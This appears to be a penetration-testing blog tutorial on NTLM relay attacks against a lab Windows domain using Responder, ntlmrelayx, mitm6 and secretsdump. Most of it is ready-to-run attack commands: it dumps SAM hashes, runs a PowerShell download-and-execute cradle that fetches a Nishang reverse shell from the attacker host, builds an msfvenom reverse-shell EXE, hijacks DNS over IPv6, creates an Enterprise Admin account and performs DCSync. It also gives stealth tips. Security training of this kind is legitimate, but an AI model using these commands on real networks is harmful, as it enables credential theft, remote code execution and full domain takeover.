In this post we will explore different techniques that can be used to perform NTLM relay attacks to move laterally and access different machines and resources in the network. To start, we will piggy-back off of my last post: LLMNR Poisoning with Responder and see how we can use Responder along with a great tool called ntlmrelayx.py from the Impacket Suite of Tools to perform an SMB-relay attack. After that, we will see how we can accomplish an LDAP-relay attack and more by dropping Responder and using another incredible tool called mitm6, which will allow us to exploit IPv6 using ntlmrelayx.py.
SMB Relay Attack Overview
An SMB relay attack is where an attacker captures a users NTLM hash and then relays it to access another machine on the network that has SMB signing disabled.
If the account being relayed has local administrative privileges on the box, you can utilize their privileges to dump SAM hashes or to get a SYSTEM shell on the host.
Finding Hosts with SMB Signing Disabled
The first thing we need to do to setup this attack is to find the machines in the network that have SMB signing disabled.
How SMB signing works
- When enabled, while trying to relay credentials the domain will know you are not really that person because the packet is not signed by you, so it will not let you in.
- When disabled, the authenticity for where the request is coming from is never checked and the system just sees user + hash and lets you in – given you have permission.
When it comes to Windows Server machines, you will find that message signing is “enabled and required” by default; however, on any workstation, it will say “enabled but not required” by default. Even though its ‘enabled’, we can still perform relay attacks because the ‘not required’ portion is essentially the same as being disabled.
Using Nmap to Find Hosts with SMB Signing Disabled.
To find the SMB signing status of a host, we can utilize one of nmap scripts from the NSE (nmap scripting engine) that comes pre-installed with nmap.
As an example, let’s say that we ran an nmap scan to quickly find the IP’s of the hosts in the network with port 445 open.
nmap -Pn 172.16.1.0/24 -p445
From this scan we can see there are 3 Windows hosts with port 445 open. From here we want to make a file with all three IPs in it and name it SMB_IPs.txt.
Now that we have all of the target hosts in a text file, we can use the following script to find the signing status of each IP in the list:
nmap --script=smb2-security-mode.nse -iL ./SMB_IPs.txt -p445
Here we see that 172.16.1.5 has signing enabled, which means that is likely a server; however, both 172.16.1.100 and 172.16.1.200 have signing enabled but not required, which makes them vulnerable to a relay attack!
If there are a lot of hosts in the network, you want to do targeted scans with nmap so you can find some stuff to work with while the full scans are running.
Using RunFinger.py to Find Hosts with SMB Signing Disabled.
There’s a pretty cool tool that comes pre-packaged with Responder called RunFinger.py. This script is used to fingerprint Windows hosts with port 445 open to find their SMB signing status.
A great way to use this tool is to use it against a list of IPs. Fortunately for us, we already created a list of IPs in the last example. Now, we can feed that list into RunFinger.py like so:
./RunFinger.py -f /opt/Juggernaut/SMB_IPs.txt
The output is a bit tight but we can see here that 172.16.1.5 has signing as True but 172.16.1.100 and 172.16.1.200 both have signing set to False. We can also see some additional info that was fingerprinted such as the build, that RDP is enabled, and that these are either Windows 10 or Server 2016/2019 machines.
Using Crackmapexec to Build an SMB Signing Disabled List
The best way we can check the SMB singing status for all machines in the network is by using a great tool called crackmapexec with the –gen-relay-list switch.
Using crackmap we can check the signing status of all the machines in a subnet block; and while doing so, crackmap will create a file that contains a list of IPs that have SMB singing set to False.
crackmapexec smb 172.16.1.0/24 --gen-relay-list smb_signing_disabled.txt
Setting Up Responder for the Attack
To perform an SMB relay attack using Responder, we need to edit the Responder.conf file and disable SMB and HTTP so that we only listen for requests but not respond. The built-in Responder.conf file can be found here: /usr/share/responder/Responder.conf — if the tool was cloned from GitHub then the location of Responder.conf will be in the responder directory that was created.
Open the file up using a text editor and then edit the following two lines at the top, switching them from ‘On’ to ‘Off’.
Before we start Responder, we need to confirm which ethernet card is facing the network we are poisoning using the ip a command.
Now that we have found the ethernet card pointing to the network we want to poison, we can fire up Responder with the following command:
responder -I eth0 -v
With everything setup, let’s go ahead and see this attack in action!
SMB-Relay Attack Using Responder + ntlmrelayx.py
ntlmrelayx is a tool that is part of the Impacket Suite of Tools.
When combining Responder with ntlmrelayx.py, Responder becomes a listener on the local subnet. Unlike in the last post where Responder was used to respond to requests, this time we turned off the SMB and HTTP servers so it will only listen for victim machines initiating NTLMv1/v2 authentication requests. Once a request comes in, Responder will send the request to ntlmrelayx.py, which then forwards the authentication requests to another target machine.
If the account that makes a request is a regular domain user, then we can drop into a SMB shell similar to using smbexec.py. However, if the account has at least local administrative privileges on the target machine, we can dump the SAM file to get local password hashes, launch a SYSTEM shell, pivot to other devices, and much more!
Getting an SMB Shell as a Standard User
In this example we will be relaying the NetNTLMv2 hash from 172.16.1.200 to 172.16.1.100.
Let’s imagine that we have just finished our nmap scan of the network and we found both 172.16.1.100 and 172.16.1.200 have port 445 open. During our enumeration we attempt to use sbmclient to enumerate any shares on either machine; however, we find the NULL access is not permitted.
Since we cannot access the shares with NULL credentials, we will need to find valid credentials to enumerate the shares. This is where SMB-relaying comes into play!
We will be able to access the shares on 172.16.1.100 and 172.16.1.200 as a valid user by relaying their credentials from one machine to the other. We just need to wait for an event (mistyped share) from a user on either machine and then we will be in business!
For this we will use our SMB_IPs.txt file we created for our nmap scan and feed that into ntlmrelayx.py to look for relay opportunities from both machines.
With Responder already running, we just need to fire up ntlmrelayx.py with the following command:
ntlmrelayx.py -tf SMB_IPs.txt -smb2support -i
This command will relay all requests from any IP in the list to all IPs in the list. If an account that gets relayed from one machine to another has permissions to access a share folder, then because we used the -i switch, this will create a bind port on the victim on port 11000 that can be accessed using netcat.
Now, lets say a user named vcreed accidentally mistypes the share name ‘share’ with ‘sahre’ on 172.16.1.200.
We can see on our Responder output that a user tried to access the share named ‘sahre’ and we were able to intercept the request.
And back on our ntlmrelayx.py output, we can see that responder was able to funnel the request to ntlmrelayx, which was able to use the hash and relay it to all 3 machines in the file: 172.16.1.5, 172.16.1.100, and 172.16.1.200.
Because 172.16.1.5 has signing enabled, the attack failed against that machine. It still says a bind port was opened up for an SMB session on port 11000, however, if we access that port on our attacker machine we will not be able to do anything from the SMB shell. We also see that we were able to authenticate to a share on 172.16.1.100 and a bind port for that machine was opened on 11001. Lastly, we failed to authenticate to any shares on 172.16.1.200, which indicates there is likely no share files present on this host or that the request originated from this machine (which it did).
You cannot relay credentials from one machine to the same machine. The only way these attacks work is by relaying credentials from one machine to a different machine.
Since there was a bind port open on 11001 for 172.16.1.100, that’s the share we want to interact with. After we open the port with netcat, we can use the help command to see what options are available to us with this shell.
There is a lot we can do here from this shell; for example, if the user has full access to any of the the shares, then we can pivot from this shell to a proper reverse shell quite easily. The attacker can also list the shares that they can enumerate for sensitive files or even try to access files in the root of the filesystem (C$).
As an example, while enumerating the shares we find a custom share folder named ‘share’ with a file inside called new_users.txt. Maybe this file will have something in it that will allow us to increase our access?
This is about as good as it gets when relaying a standard user’s credentials.
Dumping the Local SAM Hashes by Relaying a Local Admin User’s Hash
What happens when we have a user mistype a share name on 172.16.1.200 who happens to be a local admin on workstation 172.16.1.100?
Start up ntlmrelayx.py the same as the last example except this time drop the -i so that it uses the default response (dump SAM hashes).
Let’s say a user logged into one of the three machines and mistyped the share name just like before; however, this time we find that the user has local admin privileges on one of the machines.
For this example a different user logs into 172.16.1.200 and mistypes a share name. However, unlike user the last user, this user happens to be a local administrator on 172.16.1.100. As a result, the default response for ntlmrelayx (no switches) is to dump the local SAM hashes and that’s exactly what happens.
Command Execution as SYSTEM by Relaying a Local Admin User’s Hash
Adding the -c switch allows us to execute a command on the victim host. If we happen to relay a local admin users hash, the command will execute as SYSTEM.
We can test this using the following command to start up ntlmrelayx:
ntlmrelayx.py -tf SMB_IPs.txt -smb2support -c 'whoami'
This time when a user who is a local admin on 172.16.1.100 mistypes a share name on 172.16.1.200, the whoami command will be executed on 172.16.1.100 as SYSTEM.
Now we can take this a step further to get a shell on the victim.
There are many ways we can get a shell now that we have command execution, but for this example we are going to use a PowerShell reverse shell script from the Nishang Collection of Scripts. The script we will be using is called Invoke-PowerShellTcp.ps1.
Copy the script into your working directory and then append the following command to the bottom of the script:
Edit the IP address to the IP of your attacker machine.
Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443
I generally keep multiple copies of this script in my exploits folder with the same command at the bottom but over different ports. Then I append the port number to the name of each copy.
After copying the script to your working directory and appending the command at the bottom, start an HTTP server from the same directory as the script.
Next we will need to start a netcat listener on our attacker machine to catch the shell over port 443.
Once that is all setup, we can use the following ntlmrelayx command to drop our Nishang script into memory and execute it on the victim after a share has been mistyped:
ntlmrelayx.py -tf SMB_IPs.txt -smb2support -c "powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30:8000/Invoke-PowerShellTcp443.ps1')"
With ntlmrelayx running, we find that a local admin user on 172.16.1.100 mistyped a share on 172.16.1.200. This caused the request to get relayed and the above command to be executed. Checking the ntlmrelayx output, we can see something happened as it shows a command was executed.
Checking back on our HTTP server, we see the victim checked in and downloaded our script.
And back on our listener, we got a SYSTEM shell!
Download and Execute an EXE as SYSTEM by Relaying a Local Admin User’s Hash
Another technique that can be used with ntlmrelayx to get a shell is by adding the -e switch. This switch is used to download and execute an EXE from our attacker machine onto the victim machine.
To start we will need to craft an exploit to execute on the victim using msfvenom. For this example, we will just use a standard shell; however, it is always a good idea to craft a meterpreter shell to utilize the power of Metasploit.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o shell.exe
Now that we have created our exploit, we need to start a netcat listener on port 443 again. After that, we need to use the following ntlmrelayx command to download the EXE onto the victim and execute it once a local admin mistypes a share:
ntlmrelayx.py -tf SMB_IPs.txt -smb2support -e ./shell.exe
After the local admin of 172.16.1.100 mistypes a share on 172.16.1.200, we can see that the file gets downloaded as a random string in the ADMIN$ share and then executed.
If this looks familiar, that’s because it is the same technique that psexec uses.
And back on our listener, we got a SYSTEM shell!
Although this technique is fairly easy, it is still better to get a shell using the -c switch + the Nishang script since that downloads / executes directly into memory. Since the -e switch downloads the executable to disk, it is less stealthy than using Nishang.
LDAP(S) Relay Attack Overview
LDAP(S) works by binding an LDAP user to an LDAP server. The client sends an operation request that asks for a particular set of information, such as user login credentials or other organizational data. The LDAP server then processes the query based on its internal language, communicates with directory services if needed, and provides a response.
LDAP Relay attacks occur when an NTLM authentication request is performed and an attacker captures the credentials and relays them to a Domain Controller by leveraging the LDAP protocol. By default LDAP signing and channel binding is not enabled, which allows us as the attacker to intercept the LDAP request and grab all the information it was sending over.
LDAP(S)-Relay Attack via DNS Takeover Using mitm6 + ntlmrelayx.py
From this point we are going to pivot from using Responder and use a tool call mitm6 for the rest of the attacks. To relay credentials over LDAP(S) we need to query the DC; however, the problem we currently face is that server’s have signing enabled by default so we will not be able to perform this attack using Responder, as seen below.
To get around this issue, we will use a tool call mitm6 instead of Responder.
mitm6 is a pentesting tool that exploits the default configuration of Windows to take over the default DNS server. It does this by replying to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server. As DNS server, mitm6 will selectively reply to DNS queries of the attackers choosing and redirect the victims traffic to the attacker machine instead of the legitimate server.
Machines running a modern Windows operating system come pre-packaged with IPv6 enabled by default. This means that machines will periodically request for an IPv6 lease using DHCPv6 and DNS.
Most networks are still IPv4-only networks; however, by having IPv6 enabled and not being used, we as the attacker can take advantage of this for our benefit.
When IPv6 is enabled but not being used, it is almost guaranteed that there will be no DNS server setup for IPv6. This means that we become the primary DNS server and when we listen for requests, we can funnel those requests into ntlmrelayx just like we did with Responder.
With this attack, we will be the only one answering requests with DNS so we do not need to rely on fallback protocols such as LLMNR or NBT-NS.
mitm6 is designed to be used with ntlmrelayx. You should run the tools next to each other, in this scenario mitm6 will spoof the DNS, causing victims to connect to ntlmrelayx for HTTP and SMB connections.
Dumping Information About the Domain
To begin, we need to fire up mitm6 and start the spoofed DNS server with the following command:
mitm6 -i eth0 -d juggernaut.local
Now we need to fire up ntlmrelayx just the same way we did when we had Responder running with the following command:
ntlmrelayx.py -6 -t ldaps://172.16.1.5 -smb2support -wh fakewpad.juggernaut.local -l gimmedaloot
At this point we just need to wait for one of the workstations to call out to our spoofed DNS server, which occurs naturally around every 30 minutes. When this happens, we will intercept the request and dump a great deal of information about the domain into the gimmedaloot directory that we specified in the command.
Alternatively, if a user happens to request a non-existent resource over SMB or HTTP, we will intercept that request and then get the info dump just the same.
To speed up this example, we can just reboot one of the workstations (172.16.1.100 / 172.16.1.200), which will cause a DHCPv6 renew event to occur and allow us to see this attack in action.
After restarting the workstation, we can see in the ntlmrelayx output that the machine checked into our spoofed DNS server, relayed to the DC and was able to dump the loot!
We can see here the the computer account authenticated to the DC and not a user. All we did was succeed as a computer connecting to the domain over LDAPs, which dumped all this information for us!
Now when we go to gimmedaloot directory, we can see a bunch of files in various formats. The easiest of the formats to read is the HTML files since we can just open those up in the browser and have a nice GUI representation of all the info we gathered.
If you sudo su to become root like I did, you will not be able to open these files with firefox because you will not have a display environmental variable set. Drop down to kali (or whatever your standard username is) and try to open them, it should work.
For example, after opening the domain_users.html file in Firefox, we can see a good amount of information about all the users in the domain.
Now that we have enumerated user’s in the domain, we can try to search for any AS-REP roastable or kerberoastable users or we can test password spray attacks with common passwords.
This is awesome; however, the real magic happens when a domain administrator logs in to any workstation.
Full Domain Takeover After Domain Admin Logs in to Workstation
If a domain admin happens to login to any workstation in the network ntlmrelayx will automatically make a domain account with admin privs!
We can see that shortly after a domain admin user logged into one of the workstations – 172.16.1.100 in this case – that it relayed the users credentials over LDAPS. As a result, the default action taken by ntlmrelayx is to use the privileges of the domain admin to create a domain user and add them to the Enterprise Admins group.
Checking the AD Users and Computers tool, we can see the new domain user.
At this point we own the domain. We can simply follow what the output shows and use secretsdump.py, which is also from the Impacket Suite of Tools to dump all of the hashes in the domain. Since the user that was created has Replication-Get-Changes-All privileges on the domain we can DCSync with secretsdump.py.
DCSync is an attack that allows an adversary to simulate the behavior of a domain controller (DC) and retrieve password data via domain replication
Now that we have the domain admins hash, we could perform a pass-the-hash attack to get a foothold onto the DC and virtually do anything we want, such as: over-pass-the-hash, create a golden ticket, create a skeleton key, the list goes on.
SMB-Relay Attack Using mitm6 + ntlmrelayx.py
Earlier we saw examples of SMB-relay attacks using Responder + ntlmrelayx.py, which worked well; however, we can perform all of those SMB-relay attacks by dropping Responder and using mitm6 instead. Because mitm6 is built to be used with ntlmrelayx, this is actually a better method to use than using Responder. Although it is the better method, both methods work differently and in some situations you may find one works and the other doesn’t. For example, if IPv6 has been disabled but LLMNR has not.
Since it is always good to have additional ways to perform an attack, take the time to practice running through the SMB-relay attacks we performed earlier except this time using mitm6 instead of Responder.
As a final note I want to say that while this post was pretty long, we have honestly only scratched the surface in terms of relay attacks. There is much more that can be done with both mitm6 and ntlrelayx. Additionally, there are many other great tools that can be used for relay attacks such as MultiRelay.py, PetitPotam, and krbrelayx.